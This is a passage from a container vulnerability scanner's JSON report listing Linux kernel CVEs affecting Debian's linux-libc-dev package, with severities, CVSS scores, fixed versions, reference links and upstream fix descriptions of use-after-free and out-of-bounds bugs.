"https://git.kernel.org/stable/c/4c2ca31608521895dd742a43beca4b4d29762345", "https://git.kernel.org/stable/c/4f3a06cc57976cafa8c6f716646be6c79a99e485", "https://git.kernel.org/stable/c/c00f3938f7ac52770907768e440cf253af9cbb63", "https://git.kernel.org/stable/c/e4a8a96a93d08570e0405cfd989a8a07e5b6ff33", "https://lore.kernel.org/linux-cve-announce/2026021807-CVE-2026-23226-438c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23226", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23226" ], "PublishedDate": "2026-02-18T16:22:32.363Z", "LastModifiedDate": "2026-10-30T13:18:34.93Z" }, { "VulnerabilityID": "CVE-2026-23227", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23227", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3788de6a54a0cee2396049816dd0910e7cd83b1bd7a9eee2f22e13b13569d204", "Title": "kernel: Linux kernel Exynos Vidi driver: Local privilege escalation via use-after-free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/exynos: vidi: use ctx-\u003elock to protect struct vidi_context member variables related to memory alloc/free\n\nExynos Virtual Display driver performs memory alloc/free operations\nwithout lock protection, which easily causes concurrency problem.\n\nFor example, use-after-free can occur in race scenario like this:\n```\n\tCPU0\t\t\t\tCPU1\t\t\t\tCPU2\n\t----\t\t\t\t----\t\t\t\t----\n vidi_connection_ioctl()\n if (vidi-\u003econnection) // true\n drm_edid = drm_edid_alloc(); // alloc drm_edid\n ...\n ctx-\u003eraw_edid = drm_edid;\n ...\n\t\t\t\t\t\t\t\tdrm_mode_getconnector()\n\t\t\t\t\t\t\t\t drm_helper_probe_single_connector_modes()\n\t\t\t\t\t\t\t\t vidi_get_modes()\n\t\t\t\t\t\t\t\t if (ctx-\u003eraw_edid) // true\n\t\t\t\t\t\t\t\t drm_edid_dup(ctx-\u003eraw_edid);\n\t\t\t\t\t\t\t\t if (!drm_edid) // false\n\t\t\t\t\t\t\t\t ...\n\t\t\t\tvidi_connection_ioctl()\n\t\t\t\t if (vidi-\u003econnection) // false\n\t\t\t\t drm_edid_free(ctx-\u003eraw_edid); // free drm_edid\n\t\t\t\t ...\n\t\t\t\t\t\t\t\t drm_edid_alloc(drm_edid-\u003eedid)\n\t\t\t\t\t\t\t\t kmemdup(edid); // UAF!!\n\t\t\t\t\t\t\t\t ...\n```\n\nTo prevent these vulns, at least in vidi_context, member variables related\nto memory alloc/free should be protected with ctx-\u003elock.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23227", "https://git.kernel.org/stable/c/0cd2c155740dbd00868ac5a8ae5d14cd6b9ed385", "https://git.kernel.org/stable/c/1b24d3e8792bcc050c70e8e0dea6b49c4fc63b13", "https://git.kernel.org/stable/c/52b330799e2d6f825ae2bb74662ec1b10eb954bb", "https://git.kernel.org/stable/c/56966a4cfa925ec24edb68ab652a740a7abe2c4d", "https://git.kernel.org/stable/c/60b75407c172e1f341a8a5097c5cbc97dbbdd893", "https://git.kernel.org/stable/c/92dd1f38d7db75374dcdaf54f1d79d67bffd54e5", "https://git.kernel.org/stable/c/9e1ef9396a1899925911b1729cb65665420268df", "https://git.kernel.org/stable/c/abfdf449fb3d7b42e85a1ad1c8694b768b1582f4", "https://lore.kernel.org/linux-cve-announce/2026021807-CVE-2026-23227-6986@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23227", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23227" ], "PublishedDate": "2026-02-18T16:22:32.467Z", "LastModifiedDate": "2026-06-17T10:21:08.403Z" }, { "VulnerabilityID": "CVE-2026-23231", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23231", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:735ae6c2a8d8f051228a2e1c62a48d88c41ecc1ec68acd2ccd87a7a1f584d123", "Title": "kernel: kernel: Privilege escalation or denial of service via use-after-free in nf_tables_addchain()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: fix use-after-free in nf_tables_addchain()\n\nnf_tables_addchain() publishes the chain to table-\u003echains via\nlist_add_tail_rcu() (in nft_chain_add()) before registering hooks.\nIf nf_tables_register_hook() then fails, the error path calls\nnft_chain_del() (list_del_rcu()) followed by nf_tables_chain_destroy()\nwith no RCU grace period in between.\n\nThis creates two use-after-free conditions:\n\n 1) Control-plane: nf_tables_dump_chains() traverses table-\u003echains\n under rcu_read_lock(). A concurrent dump can still be walking\n the chain when the error path frees it.\n\n 2) Packet path: for NFPROTO_INET, nf_register_net_hook() briefly\n installs the IPv4 hook before IPv6 registration fails. Packets\n entering nft_do_chain() via the transient IPv4 hook can still be\n dereferencing chain-\u003eblob_gen_X when the error path frees the\n chain.\n\nAdd synchronize_rcu() between nft_chain_del() and the chain destroy\nso that all RCU readers -- both dump threads and in-flight packet\nevaluation -- have finished before the chain is freed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:6570", "https://access.redhat.com/security/cve/CVE-2026-23231", "https://bugzilla.redhat.com/2376101", "https://bugzilla.redhat.com/2439687", "https://bugzilla.redhat.com/2439895", "https://bugzilla.redhat.com/2444376", "https://bugzilla.redhat.com/show_bug.cgi?id=2376101", "https://bugzilla.redhat.com/show_bug.cgi?id=2439687", "https://bugzilla.redhat.com/show_bug.cgi?id=2439895", "https://bugzilla.redhat.com/show_bug.cgi?id=2444376", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38109", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23210", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23231", "https://errata.almalinux.org/9/ALSA-2026-6570.html", "https://errata.rockylinux.org/RLSA-2026:6570", "https://git.kernel.org/linus/71e99ee20fc3f662555118cf1159443250647533%20%287.0-rc1%29", "https://git.kernel.org/stable/c/2a6586ecfa4ce1413daaafee250d2590e05f1a33", "https://git.kernel.org/stable/c/2f9a4ffeb763aec822f8ff3d1e82202d27d46d4b", "https://git.kernel.org/stable/c/7017745068a9068904e1e7a1b170a5785647cc81", "https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533", "https://git.kernel.org/stable/c/dbd0af8083dd201f07c49110b2ee93710abdff28", "https://git.kernel.org/stable/c/f3fe58ce37926a10115ede527d59b91bcc05400a", "https://linux.oracle.com/cve/CVE-2026-23231.html", "https://linux.oracle.com/errata/ELSA-2026-6571.html", "https://lore.kernel.org/linux-cve-announce/2026030436-CVE-2026-23231-1a96@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23231", "https://ubuntu.com/security/notices/USN-8244-1", "https://ubuntu.com/security/notices/USN-8245-1", "https://ubuntu.com/security/notices/USN-8254-1", "https://ubuntu.com/security/notices/USN-8254-2", "https://ubuntu.com/security/notices/USN-8254-3", "https://ubuntu.com/security/notices/USN-8257-1", "https://ubuntu.com/security/notices/USN-8258-1", "https://ubuntu.com/security/notices/USN-8260-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://www.cve.org/CVERecord?id=CVE-2026-23231" ], "PublishedDate": "2026-03-04T13:15:58.137Z", "LastModifiedDate": "2026-10-19T19:17:42.763Z" }, { "VulnerabilityID": "CVE-2026-23244", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23244", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5b8c60490abf706cbaaf8523e15bdec606b776bd702ddd9360ddec1b37e3ead5", "Title": "kernel: nvme: fix memory allocation in nvme_pr_read_keys()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme: fix memory allocation in nvme_pr_read_keys()\n\nnvme_pr_read_keys() takes num_keys from userspace and uses it to\ncalculate the allocation size for rse via struct_size(). The upper\nlimit is PR_KEYS_MAX (64K).\n\nA malicious or buggy userspace can pass a large num_keys value that\nresults in a 4MB allocation attempt at most, causing a warning in\nthe page allocator when the order exceeds MAX_PAGE_ORDER.\n\nTo fix this, use kvzalloc() instead of kzalloc().\n\nThis bug has the same reasoning and fix with the patch below:\nhttps://lore.kernel.org/linux-block/20251212013510.3576091-1-kartikey406@gmail.com/\n\nWarning log:\nWARNING: mm/page_alloc.c:5216 at __alloc_frozen_pages_noprof+0x5aa/0x2300 mm/page_alloc.c:5216, CPU#1: syz-executor117/272\nModules linked in:\nCPU: 1 UID: 0 PID: 272 Comm: syz-executor117 Not tainted 6.19.0 #1 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014\nRIP: 0010:__alloc_frozen_pages_noprof+0x5aa/0x2300 mm/page_alloc.c:5216\nCode: ff 83 bd a8 fe ff ff 0a 0f 86 69 fb ff ff 0f b6 1d f9 f9 c4 04 80 fb 01 0f 87 3b 76 30 ff 83 e3 01 75 09 c6 05 e4 f9 c4 04 01 \u003c0f\u003e 0b 48 c7 85 70 fe ff ff 00 00 00 00 e9 8f fd ff ff 31 c0 e9 0d\nRSP: 0018:ffffc90000fcf450 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: 1ffff920001f9ea0\nRDX: 0000000000000000 RSI: 000000000000000b RDI: 0000000000040dc0\nRBP: ffffc90000fcf648 R08: ffff88800b6c3380 R09: 0000000000000001\nR10: ffffc90000fcf840 R11: ffff88807ffad280 R12: 0000000000000000\nR13: 0000000000040dc0 R14: 0000000000000001 R15: ffffc90000fcf620\nFS: 0000555565db33c0(0000) GS:ffff8880be26c000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 000000002000000c CR3: 0000000003b72000 CR4: 00000000000006f0\nCall Trace:\n \u003cTASK\u003e\n alloc_pages_mpol+0x236/0x4d0 mm/mempolicy.c:2486\n alloc_frozen_pages_noprof+0x149/0x180 mm/mempolicy.c:2557\n ___kmalloc_large_node+0x10c/0x140 mm/slub.c:5598\n __kmalloc_large_node_noprof+0x25/0xc0 mm/slub.c:5629\n __do_kmalloc_node mm/slub.c:5645 [inline]\n __kmalloc_noprof+0x483/0x6f0 mm/slub.c:5669\n kmalloc_noprof include/linux/slab.h:961 [inline]\n kzalloc_noprof include/linux/slab.h:1094 [inline]\n nvme_pr_read_keys+0x8f/0x4c0 drivers/nvme/host/pr.c:245\n blkdev_pr_read_keys block/ioctl.c:456 [inline]\n blkdev_common_ioctl+0x1b71/0x29b0 block/ioctl.c:730\n blkdev_ioctl+0x299/0x700 block/ioctl.c:786\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x1bf/0x220 fs/ioctl.c:583\n x64_sys_call+0x1280/0x21b0 mnt/fuzznvme_1/fuzznvme/linux-build/v6.19/./arch/x86/include/generated/asm/syscalls_64.h:17\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0x71/0x330 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\nRIP: 0033:0x7fb893d3108d\nCode: 28 c3 e8 46 1e 00 00 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007ffff61f2f38 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 00007ffff61f3138 RCX: 00007fb893d3108d\nRDX: 0000000020000040 RSI: 00000000c01070ce RDI: 0000000000000003\nRBP: 0000000000000001 R08: 0000000000000000 R09: 00007ffff61f3138\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001\nR13: 00007ffff61f3128 R14: 00007fb893dae530 R15: 0000000000000001\n \u003c/TASK\u003e", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23244", "https://git.kernel.org/linus/c3320153769f05fd7fe9d840cb555dd3080ae424%20%287.0-rc3%29", "https://git.kernel.org/stable/c/15fb6d627484ee39ed73e202ef4720e1fa5c898e", "https://git.kernel.org/stable/c/5a501379a010690ae9ae88bef62a1bae1aca32e6", "https://git.kernel.org/stable/c/baef52d80093bd686e70b3cb7e0512a40ae76705", "https://git.kernel.org/stable/c/c3320153769f05fd7fe9d840cb555dd3080ae424", "https://git.kernel.org/stable/c/e42ff5abbd14927553b624c0e06d24df76156fe6", "https://linux.oracle.com/cve/CVE-2026-23244.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026031817-CVE-2026-23244-9738@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23244", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23244" ], "PublishedDate": "2026-03-18T11:16:16.27Z", "LastModifiedDate": "2026-11-05T22:18:08.277Z" }, { "VulnerabilityID": "CVE-2026-23245", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23245", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5f18cbd939961a6816318fc52bc48c436b16a122be9bc2288b8f94aa231a0122", "Title": "kernel: Linux kernel: Race condition in net/sched: act_gate can lead to privilege escalation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_gate: snapshot parameters with RCU on replace\n\nThe gate action can be replaced while the hrtimer callback or dump path is\nwalking the schedule list.\n\nConvert the parameters to an RCU-protected snapshot and swap updates under\ntcf_lock, freeing the previous snapshot via call_rcu(). When REPLACE omits\nthe entry list, preserve the existing schedule so the effective state is\nunchanged.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23245", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/62413a9c3cb183afb9bb6e94dd68caf4e4145f4c%20%287.0-rc3%29", "https://git.kernel.org/stable/c/035d0d09d5ab3ed3e93d18cde2b562a6719eea23", "https://git.kernel.org/stable/c/04d75529dc0f9be78786162ebab7424af4644df2", "https://git.kernel.org/stable/c/58b162e318d0243ad2d7d92456c0873f2494c351", "https://git.kernel.org/stable/c/62413a9c3cb183afb9bb6e94dd68caf4e4145f4c", "https://git.kernel.org/stable/c/8b1251bbf0f10ac745ed74bad4d3b433caa1eeae", "https://git.kernel.org/stable/c/dfc314d7c767e350f78a46a8f8b134f80e8ad432", "https://git.kernel.org/stable/c/fc98fd8d214693be91253d9a88cdf8e5e143d124", "https://linux.oracle.com/cve/CVE-2026-23245.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026031817-CVE-2026-23245-ac26@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23245", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23245" ], "PublishedDate": "2026-03-18T11:16:16.437Z", "LastModifiedDate": "2026-10-15T02:18:44.58Z" }, { "VulnerabilityID": "CVE-2026-23281", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23281", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d5f37bd751010f10d8e632d45d7ed2839600f964c971719eb5996effd283dc5f", "Title": "kernel: wifi: libertas: fix use-after-free in lbs_free_adapter()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: libertas: fix use-after-free in lbs_free_adapter()\n\nThe lbs_free_adapter() function uses timer_delete() (non-synchronous)\nfor both command_timer and tx_lockup_timer before the structure is\nfreed. This is incorrect because timer_delete() does not wait for\nany running timer callback to complete.\n\nIf a timer callback is executing when lbs_free_adapter() is called,\nthe callback will access freed memory since lbs_cfg_free() frees the\ncontaining structure immediately after lbs_free_adapter() returns.\n\nBoth timer callbacks (lbs_cmd_timeout_handler and lbs_tx_lockup_handler)\naccess priv-\u003edriver_lock, priv-\u003ecur_cmd, priv-\u003edev, and other fields,\nwhich would all be use-after-free violations.\n\nUse timer_delete_sync() instead to ensure any running timer callback\nhas completed before returning.\n\nThis bug was introduced in commit 8f641d93c38a (\"libertas: detect TX\nlockups and reset hardware\") where del_timer() was used instead of\ndel_timer_sync() in the cleanup path. The command_timer has had the\nsame issue since the driver was first written.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23281", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/03cc8f90d0537fcd4985c3319b4fafbf2e3fb1f0%20%287.0-rc2%29", "https://git.kernel.org/stable/c/03cc8f90d0537fcd4985c3319b4fafbf2e3fb1f0", "https://git.kernel.org/stable/c/09f3c30ab3b1371eaf9676a1b8add57bca763083", "https://git.kernel.org/stable/c/3c5c818c78b03a1725f3dcd566865c77b48dd3a6", "https://git.kernel.org/stable/c/3f9dec4a6d95d7f1f5e9e9dfdfa173c053bba8dc", "https://git.kernel.org/stable/c/a9f55b14486426d907459bced5825a25063bd922", "https://git.kernel.org/stable/c/b15e0fa7adb4de3a03aee9e6fc4d83e5cf0a65e4", "https://git.kernel.org/stable/c/d0155fe68f31b339961cf2d4f92937d57e9384e6", "https://git.kernel.org/stable/c/ed7d30f90b77f73a47498686ede83f622b7e4f0d", "https://linux.oracle.com/cve/CVE-2026-23281.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032523-CVE-2026-23281-2e62@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23281", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23281" ], "PublishedDate": "2026-03-25T11:16:22.657Z", "LastModifiedDate": "2026-10-15T02:18:46.773Z" }, { "VulnerabilityID": "CVE-2026-23315", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23315", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0e075702e3a9985363ed5872055ad383c745e58173b53a141aeb8990637fc923", "Title": "kernel: wifi: mt76: Fix possible oob access in mt76_connac2_mac_write_txwi_80211()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: Fix possible oob access in mt76_connac2_mac_write_txwi_80211()\n\nCheck frame length before accessing the mgmt fields in\nmt76_connac2_mac_write_txwi_80211 in order to avoid a possible oob\naccess.\n\n[fix check to also cover mgmt-\u003eu.action.u.addba_req.capab,\ncorrect Fixes tag]", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": 